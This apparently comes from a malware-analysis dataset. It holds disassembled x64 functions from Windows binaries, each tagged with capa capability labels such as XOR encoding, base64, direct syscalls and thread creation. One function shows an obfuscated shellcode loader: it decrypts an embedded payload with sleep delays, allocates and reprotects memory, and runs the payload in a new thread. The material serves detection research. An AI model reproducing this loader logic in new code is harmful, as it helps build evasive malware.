joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008010
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push rbx
sub rsp, 0x20
mov eax, dword [rcx]
mov r9d, 0x270
mov rbx, rcx
cmp eax, r9d
jne 0x14000806b
lea r8, [rcx + 8]
nop word [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140008030
jmp 0x140008077
cmp eax, 0x4e0
jb 0x140008077
call fcn.1400080c0
mov eax, dword [rbx]
mov edx, dword [rbx + rax*4 + 4]
inc eax
mov dword [rbx], eax
mov ecx, edx
mov eax, dword [rbx + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 0x20
pop rbx
ret

Function at 0x1400080c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov r10, rcx
lea r9, [rcx + 0x9c4]
mov r11d, 0xe3
mov edx, dword [r9]
xor edx, dword [r9 + 4]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x630]
xor ecx, edx
mov dword [r9 - 0x9c4], ecx
sub r11, 1
jne 0x1400080d0
lea r9, [r10 + 0xd50]
mov r11d, 0x18c
nop word [rax + rax]
mov edx, dword [r9]
xor edx, dword [r9 + 4]
lea r9, [r9 + 4]
btr edx, 0x1f
xor edx, dword [r9 - 4]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 - 0xd50]
xor ecx, edx
mov dword [r9 - 0x9c4], ecx
sub r11, 1
jne 0x140008120
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov dword [r10], r11d
ret
Function at 0x1400140e0
Capabilities:
Reference quad9 dns server
Terminate process

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x170
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rsp + 0x160], rax
call fcn.14000d6a0
mov qword [rsp + 0x40], 0xf
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [0x140028130]
lea rcx, [rsp + 0x28]
call fcn.140003710
nop
lea rdx, [0x140018b71]
lea rcx, [rsp + 0x28]
call fcn.140005360
xor ecx, ecx
test eax, eax
jne 0x140014195
xor r9d, r9d
lea r8, str.ERROR
lea rdx, str.UNABLE_TO_CONNECT_TO_THE_SERVER_
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x28]
jmp 0x140014230
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov r8d, 0x104
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x50]
call fcn.140013b50
lea rdx, str.9.9.9.9
lea rcx, [rsp + 0x28]
call fcn.140005360
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x28]
test eax, eax
jne 0x1400141e1
mov byte [0x140028099], 1
jmp 0x140014230
lea rdx, [rsp + 0x28]
cmp rdi, 0x10
cmovae rdx, rbx
lea rcx, [0x140028190]
cmp qword [0x1400281a8], 0x10
cmovae rcx, qword [0x140028190]
mov rsi, qword [0x1400281a0]
mov rbp, qword [rsp + 0x38]
mov r8, rbp
cmp rsi, rbp
cmovb r8, rsi
test r8, r8
je 0x140014229
call fcn.140015d22
test eax, eax
jne 0x140014235
cmp rsi, rbp
jb 0x140014235
ja 0x140014235
xor sil, sil
jmp 0x140014238
mov sil, 1
cmp rdi, 0x10
jb 0x140014290
lea rax, [rdi + 1]
cmp rax, 0x1000
jb 0x140014288
test byte [rsp + 0x28], 0x1f
je 0x140014258
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rbx - 8]
cmp rax, rbx
jb 0x140014268
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rbx, rax
cmp rbx, 8
jae 0x140014278
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rbx, 0x27
jbe 0x140014285
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rbx, rax
mov rcx, rbx
call fcn.140014a30
movzx eax, sil
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400149d0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14001529c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140035e90
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x140035ebd
xor al, al
jmp 0x14003601f
mov rax, qword [0x1400556e0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1400556e8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1400556f0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1400556f8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x140055700]
mov qword [rcx + 0x20], rax
mov rax, qword [0x140055708]
mov qword [rcx + 0x28], rax
mov rax, qword [0x140055710]
mov qword [rcx + 0x30], rax
mov rax, qword [0x140055718]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x140055720]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x140036011
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x140035f69
mov r11d, 2
jmp 0x140035f8d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x140035f83
mov r11d, 1
jmp 0x140035f8d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x140036035
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x140035fd2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x140035fea
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x140035ffa
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x140036008
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x140035f50
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14003601a

Function at 0x140085d7e
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
syscall
ret

Function at 0x1404daae9
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
syscall
ret

Function at 0x1404e5d25
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
syscall
ret
Function at 0x1400016d1
Capabilities:
Create thread

Disassembly:
push rbp
mov eax, 0x17c80
call fcn.140002a00
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x17bd4], 0
movabs rax, 0xa9b3f362c926f375
movabs rdx, 0x22a56535942d8aee
mov qword [rbp + 0x17bc0], rax
mov qword [rbp + 0x17bc8], rdx
lea rax, [rbp - 0x40]
lea rdx, section..rdata
mov ecx, 0x17c00
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x17bfc], 0x17c00
movabs rax, 0x32336c656e72656b
mov qword [rbp - 0x4d], rax
movabs rax, 0x6c6c642e32336c
mov qword [rbp - 0x48], rax
mov dword [rbp + 0x17bf8], 0
mov qword [rbp + 0x17bf0], 0
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov r9d, 0x10
lea r8, str.yYOTjZgfSFgunuf
mov edx, 0xc
lea rax, str._0
mov rcx, rax
call sym.DlLViODGShQ_char__unsigned_long_long__char__int_
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
lea rax, [rbp - 0x4d]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str._0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14001f030], rax
mov r10, qword [0x14001f030]
mov eax, dword [rbp + 0x17bfc]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x17be8], rax
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
lea rcx, [rbp + 0x17bc0]
mov edx, dword [rbp + 0x17bfc]
lea rax, [rbp - 0x40]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.IiwTVksP_char__unsigned_int__char__unsigned_long_long_
mov ecx, dword [rbp + 0x17bfc]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x17be8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov eax, dword [0x14001bc34]
movd xmm0, eax
call sym.SleepShort_float_
mov edx, dword [rbp + 0x17bfc]
lea rcx, [rbp + 0x17bd4]
mov rax, qword [rbp + 0x17be8]
mov r9, rcx
mov r8d, 0x20
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x17be4], eax
mov rax, qword [rbp + 0x17be8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x17bd8], rax
mov eax, dword [0x14001bc38]
movd xmm0, eax
call sym.SleepShort_float_
mov rax, qword [rbp + 0x17bd8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x17c80
pop rbp
ret

Function at 0x140001c60
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001674
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x140012f9c]
lea rsi, [0x140000000]
movsxd r11, edx
xor edi, edi
dec r11
mov r10, rcx
mov r9, qword [rsi + r8*8 + 0x12fb0]
inc r8d
test r11, r11
jle 0x1400016d6
mov rax, r9
sub r10, r9
mov rbx, r11
mov cl, byte [r10 + rax]
mov edx, 0xf
xor cl, byte [rdx + rsi + 0xda48]
sub rdx, 1
jns 0x1400016be
mov byte [rax], cl
inc rax
sub rbx, 1
jne 0x1400016b5
mov rbx, qword [rsp + 8]
cmp r8d, 0xf
mov rsi, qword [rsp + 0x10]
mov rax, r9
cmovge r8d, edi
mov byte [r11 + r9], dil
mov rdi, qword [rsp + 0x18]
mov dword [0x140012f9c], r8d
ret

Function at 0x1400016fc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov rbp, rdx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov ebx, dword [r8 + 0x1c]
mov edi, dword [r8 + 0x24]
add rbx, rcx
mov r10d, dword [r8 + 0x20]
add rdi, rcx
mov esi, dword [r8 + 0x18]
add r10, rcx
xor ecx, ecx
test esi, esi
je 0x140001774
mov edx, dword [r10]
mov rax, rbp
add rdx, r9
sub rdx, rbp
movzx r8d, byte [rax]
movzx r11d, byte [rax + rdx]
sub r8d, r11d
jne 0x140001765
inc rax
test r11d, r11d
jne 0x14000174f
test r8d, r8d
je 0x14000178b
inc ecx
add r10, 4
cmp ecx, esi
jb 0x140001743
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rdi + rcx*2]
mov eax, dword [rbx + rcx*4]
add rax, r9
jmp 0x140001776

Function at 0x140001798
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
movsxd r8, dword [0x140012f9c]
lea r14, [0x140000000]
movsxd rdi, edx
xor esi, esi
mov r10, rcx
mov r9, qword [r14 + r8*8 + 0x12fb0]
inc r8d
lea eax, [rdi - 1]
test eax, eax
jle 0x140001804
mov rcx, r9
mov r11d, eax
movzx edx, byte [r10]
mov ebx, 0xf
movzx eax, byte [rbx + r14 + 0xda48]
xor dx, ax
sub rbx, 1
jns 0x1400017e2
mov word [rcx], dx
inc r10
add rcx, 2
sub r11, 1
jne 0x1400017d9
mov rbx, qword [rsp + 8]
cmp r8d, 0xf
mov r14, qword [rsp + 0x20]
mov rax, r9
cmovge r8d, esi
mov word [r9 + rdi*2 - 2], si
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov dword [0x140012f9c], r8d
ret
Function at 0x140003964
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x140003995
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140003a08
mov rax, qword [rcx + 0x40]
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x1400039ac
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400039ae
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140003a02
test ecx, ecx
jle 0x1400039e2
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebp
mov rcx, rdi
sub rbx, rbp
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
add r14, rbp
test rbx, rbx
jle 0x140003a02
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003a02
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
sub rsi, rbx
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140003a24
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003a49
xor eax, eax
jmp 0x140003b44
cmp qword [rcx + 0x68], 0
je 0x140003a5b
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x140003b44
mov rax, qword [rcx + 0x38]
mov rbp, rdi
mov rdx, qword [rax]
test rdx, rdx
je 0x140003a72
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003a74
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003aa4
cmp rax, rdi
mov rbx, rdi
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov edx, ebx
mov rcx, rsi
add r14, rbx
sub rbp, rbx
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov r8, rbp
cmp qword [rsi + 0x80], 0
je 0x140003b3e
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x140003adf
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov r15d, 0xfff
mov rbx, r8
cmp r8, r15
jbe 0x140003b18
mov r9, qword [rsi + 0x80]
mov r8, r15
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbp, rax
add r14, rax
mov rbx, rbp
cmp rax, r15
jne 0x140003b55
cmp rbp, r15
ja 0x140003aed
mov r8, rbx
test rbx, rbx
je 0x140003b3e
mov r9, qword [rsi + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rbx
sub r8, rax
sub rdi, r8
mov rax, rdi
mov rbx, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
sub rdi, rbp
jmp 0x140003b41
Function at 0x140003efc
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140012010]
xor rax, rsp
mov qword [rbp - 8], rax
or edi, 0xffffffff
mov esi, edx
mov rbx, rcx
cmp edx, edi
jne 0x140003f35
xor eax, eax
jmp 0x140004048
mov rax, qword [rcx + 0x40]
cmp qword [rax], 0
je 0x140003f5e
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, qword [rax]
cmp qword [rax], r8
jae 0x140003f5e
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], sil
mov eax, esi
jmp 0x140004048
cmp qword [rcx + 0x80], 0
je 0x140004046
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140003f99
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003fbd
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
cmovne edi, esi
jmp 0x140004046
lea rax, [rbp - 0x40]
mov byte [rbp - 0x30], sil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
lea r9, [rbp - 0x2f]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x30]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000400b
sub eax, 1
je 0x14000400b
cmp eax, 2
jne 0x140004046
movsx ecx, byte [rbp - 0x30]
jmp 0x140003fa6
mov r14, qword [rbp - 0x40]
lea rax, [rbp - 0x28]
sub r14, rax
je 0x140004036
mov r9, qword [rbx + 0x80]
lea rcx, [rbp - 0x28]
mov r8, r14
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x140004046
lea rax, [rbp - 0x30]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x38], rax
mov eax, esi
jne 0x140004048
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14000af80
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140004644
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140012010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400046b3
cmp byte [rcx + 0x71], 0
je 0x1400046b3
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140004708
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400046cd
sub eax, 1
je 0x1400046d1
cmp eax, 2
jne 0x140004708
mov byte [rbx + 0x71], 0
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000af80
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400046ff
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140004708
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400046b5
xor al, al
jmp 0x1400046b5
Function at 0x140008188
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14000d868], rdi
je 0x1400081e8
cmp rax, rdi
jne 0x1400081db
mov r12d, 1
jmp 0x1400081e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400081c1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x1400081fd
lea ecx, [rax + 0x1e]
call fcn.140167000
jmp 0x140008264
mov eax, dword [0x14000d860]
cmp eax, ebx
jne 0x14000825a
mov dword [0x14000d860], 1
lea r13, [0x140001548]
lea rdi, [0x140001530]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000824c
cmp eax, ebx
jne 0x14000824c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140008241
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000822a
cmp eax, ebx
je 0x140008264
mov eax, 0xff
jmp 0x1400083ac
mov dword [0x14000b554], 1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x14000828c
lea rdx, [0x140001528]
lea rcx, [0x1400014b8]
call sub.msvcrt.dll__initterm
mov dword [0x14000d860], 2
cmp r12d, ebx
jne 0x14000829b
mov rax, rbx
xchg qword [0x14000d868], rax
cmp qword [0x14000d870], rbx
je 0x1400082c3
lea rcx, [0x14000d870]
call fcn.14000862c
cmp eax, ebx
je 0x1400082c3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14000d870]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1400082d9
mov eax, 0xff
jmp 0x1400083ac
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000835e
cmp word [rcx], bx
je 0x1400082f4
cmp edx, ebx
jne 0x14000835e
cmp word [rcx], bx
je 0x14000830a
cmp word [rcx], 0x20
ja 0x14000830a
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082f4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003b3c
mov dword [0x14000b550], eax
cmp dword [0x14000b534], ebx
jne 0x140008348
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b554], ebx
jne 0x14000835c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b550]
jmp 0x1400083ac
cmp word [rcx], 0x22
jne 0x140008371
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082e5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.1400087ec
add rsp, 0x28
jmp 0x140008188